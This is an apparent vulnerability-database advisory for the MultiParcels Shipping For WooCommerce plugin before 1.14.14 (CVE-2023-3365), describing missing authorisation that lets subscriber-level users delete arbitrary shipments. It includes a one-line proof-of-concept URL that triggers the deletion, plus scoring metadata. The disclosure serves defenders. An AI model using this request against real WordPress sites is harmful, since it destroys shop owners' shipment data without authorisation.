Lucene search
WpvulndbWPVDB-ID:21CE5BAA-8085-4053-8D8B-F7D3E2AE70C1HistoryJul 17, 2023 - 12:00 a.m.
MultiParcels Shipping For WooCommerce < 1.14.14 - Subscriber+ Arbitrary Shipment Deletion
2023-07-1700:00:00
wpscan.com
7
multiparcels shipping
woocommerce
vulnerability
arbitrary deletion
subscriber
Description The plugin does not have authorisation when deleting shipment, allowing any authenticated users, such as subscriber to delete arbitrary shipment
PoC
Login as a subscriber an open https://example.com/wp-admin/admin-post.php?action=multiparcels_delete_shipping&id;=1 to delete the shipment with ID 1
| CPE | Name | Operator | Version |
|---|---|---|---|
| multiparcels-shipping-for-woocommerce | eq | 1.14.14 |
Related
cvelist
cvelist
prion
prion
Design/Logic Flaw
2023-08-07 15:15:00
wpexploit
wpexploit
cve
cve
CVE-2023-3365
2023-08-07 15:15:11
nvd
nvd
CVE-2023-3365
2023-08-07 15:15:11
wordfence
wordfence
8 High
AI Score
Confidence
High
0.0005 Low
EPSS
Percentile
16.2%
Related for WPVDB-ID:21CE5BAA-8085-4053-8D8B-F7D3E2AE70C1